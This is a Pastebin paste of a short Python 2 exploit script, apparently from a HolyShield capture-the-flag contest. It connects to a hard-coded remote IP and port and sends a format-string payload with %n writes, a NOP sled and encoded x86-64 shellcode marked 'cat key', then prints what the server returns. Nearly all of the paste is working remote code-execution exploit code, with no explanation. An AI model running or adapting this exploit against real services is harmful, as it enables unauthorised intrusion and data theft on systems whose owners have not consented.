Advertisement
tunz

holyshield pyshell

Dec 1st, 2013
43
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.91 KB | None | 0 0
  1. import os
  2. import sys
  3. from struct import *
  4. from socket import *
  5. import time
  6.  
  7. s = socket(AF_INET, SOCK_STREAM)
  8. s.connect(('210.126.48.194', 34567))
  9. s.recv(1)
  10. s.send('get\n')
  11. print s.recv(1024)
  12.  
  13. fsb = "221.161.111.84_payload "+"%8x"*58+"%6299184c%n%400c%61$n"
  14. # cat key
  15. shellcode = "\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef" +\
  16. "\xff\xff\xff\x48\xbb\xdc\x47\x7e\x70\xa4\x37\x42\xbf\x48" +\
  17. "\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xb6\x7c\x26" +\
  18. "\xe9\xec\x8c\x6d\xdd\xb5\x29\x51\x03\xcc\x37\x11\xf7\x55" +\
  19. "\xa0\x16\x5d\xc7\x37\x42\xf7\x55\xa1\x2c\x98\xa9\x37\x42" +\
  20. "\xbf\xf3\x25\x17\x1e\x8b\x54\x23\xcb\xfc\x2c\x1b\x09\xa4" +\
  21. "\x61\x15\xf7\x55\xa1\x71\x75\xa4\x37\x42\xbf"
  22.  
  23. last = fsb + "\x90"*(1000-len(fsb)-len(shellcode)) + shellcode
  24. s.send(last)
  25. s.recv(35)
  26. new = "1"
  27. data = ""
  28. while len(new) != 0:
  29.         time.sleep(1)
  30.         new = s.recv(60000)
  31.         print new
  32. s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement